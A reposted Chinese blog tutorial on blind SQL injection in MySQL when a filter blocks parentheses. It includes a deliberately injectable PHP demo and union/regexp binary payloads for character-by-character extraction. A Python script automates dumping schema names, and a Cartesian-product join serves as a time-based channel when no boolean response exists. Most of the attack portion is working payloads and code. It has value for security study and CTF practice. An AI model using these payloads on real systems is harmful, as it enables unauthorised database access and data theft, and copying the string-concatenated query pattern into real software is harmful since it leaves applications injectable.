MySQL盲注exit函数_mysql小括号被过滤后的盲注

原文作者:th1s

转载自:https://www.th1s.cn/index.php/2018/02/26/213.html

做题和实战的时候都遇到了盲注点过滤了小括号的情况,小括号被过滤意味着无法使用mysql内置的所有函数。摸索出了一些不同场景下bypass的方法,记录下。

easy demo

贴一个小demo。

[PHP] 纯文本查看 复制代码<?php

$user = $_REQUEST['user'];

if(preg_match("/\(|\)/", $user)){

printf('illegal user');

exit();

}

$conn = mysqli_connect('127.0.0.1', 'root', '', 'php3');

$sql = "select * from php3 where user = '$user'";

$result = mysqli_query($conn, $sql);

if (mysqli_num_rows($result) > 0) {

echo "xxx";

} else {

echo "username error";

}

?>

代码逻辑如下:

获取 request 变量$user

很明显的注入点select * from php3 where user = '$user'

如果存在查询得到的结果,返回 "xxx",否则返回 "username error"。(这里引入了回显中的bool差异方便注入)

表结构如下:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

442795017.png (15.99 KB, 下载次数: 47)

2018-5-4 17:05 上传

like && regexp 注入

一步一步来,首先构造如下exp:

[SQL] 纯文本查看 复制代码' union select 1,2 from information_schema.tables where 1=2#

返回了"username error"

[SQL] 纯文本查看 复制代码' union select 1,2 from information_schema.tables where 1=1#

返回了"xxx"

这样我们成功在1=2这里引入了一个盲注条件。

进一步构造,小括号被过滤,诸如substring()等字符串截取函数无法使用。盲注必然存在一个字符串比较的过程,这里的话我们可以使用like和regexp进行正则比较。实战发现regexp比较好用。exp如下:

[SQL] 纯文本查看 复制代码' union select 1,2 from information_schema.tables where table_schema regexp binary '^.*$'#

(加上binary会使得大小写敏感,在获取字段内容时必须加上binary,血的教训- -!)

我们使用已知系统库information_schema进行逐字符验证。

[SQL] 纯文本查看 复制代码' union select 1,2 from information_schema.tables where table_schema regexp binary '^i.*$'#

返回xxx

[SQL] 纯文本查看 复制代码' union select 1,2 from information_schema.tables where table_schema regexp binary '^ib.*$'#

返回username error

[SQL] 纯文本查看 复制代码' union select 1,2 from information_schema.tables where table_schema regexp binary '^in.*$'#

返回xxx

剩下的写脚本去跑。

easy 脚本

(这个easy 脚本花了我一下午。。。)

踩了几个坑:

1.当前表内有多个table_schema,需要去递归获取所有的table_schema,不然只能获取到字符排序最靠前的数据库名。

2.由于使用了正则匹配,需要对正则关键字进行转义。mysql中需要加上两个斜杠进行转义。

在一般的编程语言中,转义一般使用一个反斜线,在Mysql中为什么是两个才行?原因是:Mysql自己需要一个来识别,然后Mysql会将扣除了一个反斜杠的剩余的部分完全的交给正则表达式库解释,所以加起来就是两个了。

3.单个斜杠字符前面一共需要加三个斜杠,变成"\\\\"。"\\\\"被mysql转义为"\\",然后再交给正则表达式库转义成 "\"

[Python] 纯文本查看 复制代码#coding=utf-8

#Th1s

import requests

import string

url = "http://xxx/sqli.php"

payload = "' union select 'admin',2 from information_schema.tables where table_schema regexp binary '^%s.*$'#"

special_str = ".*()|[]{}\\^$+?"

final_result = []

def check2(now_str):

for ch in string.printable:

if ch in special_str:

if ch == '\\':

ch = '\\' + ch

ch = '\\\\' + ch

exp = payload % (now_str + ch)

param = {'user': exp}

if check(param):

print now_str + ch

check2(now_str + ch)

if ch == string.printable[-1]:

final_result.append(now_str)

return

def check(param):

r = requests.get(url, params=param)

if "xxx" in r.content:

return True

else:

return False

if __name__ == "__main__":

check2("")

看起来效果还不错。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

1137418884.png (19.88 KB, 下载次数: 68)

2018-5-4 17:09 上传

获取了table_schema以后就可以获取某个数据库下的所有表了。比如限定一下当前数据库为dnslog。

[SQL] 纯文本查看 复制代码' union select 1,2 from information_schema.tables where table_schema='dnslog' and table_name regexp binary '^.*$'#

无bool回显的场景

上面的bypass都是基于有bool回显的。如果不存在bool回显呢?比如,我们修改下最初的demo,把bool回显的部分删掉。

[PHP] 纯文本查看 复制代码<?php

$user = $_REQUEST['user'];

if(preg_match("/\(|\)/", $user)){

printf('illegal user');

exit();

}

$conn = mysqli_connect('127.0.0.1', 'root', '', 'php3');

$sql = "select * from php3 where user = '$user'";

$result = mysqli_query($conn, $sql);

//xxx

?>

由于小括号被过滤,sleep()、benchmark()都已经无法使用。那么这里有办法可以注出数据吗?

答案是可以利用查询笛卡尔积造成延时。利用多次join造成结果集的笛卡尔积非常大造成mysql延时。

[SQL] 纯文本查看 复制代码union select 1, b.column_name from information_schema.tables a join information_schema.columns b join information_schema.columns c where 1=1

实战尝试一下:

where 1=1的时候已经造成非常大的延时了。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

1940614256.png (57.5 KB, 下载次数: 59)

2018-5-4 17:11 上传

where 1=2基本无延时。

8f3ff2fbfdd7c7c8339951a6542705fa.gif

3364534568.png (67.73 KB, 下载次数: 49)

2018-5-4 17:11 上传

参考文献

Mysql必知必会(4):使用正则表达式搜索(REGEXP)

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值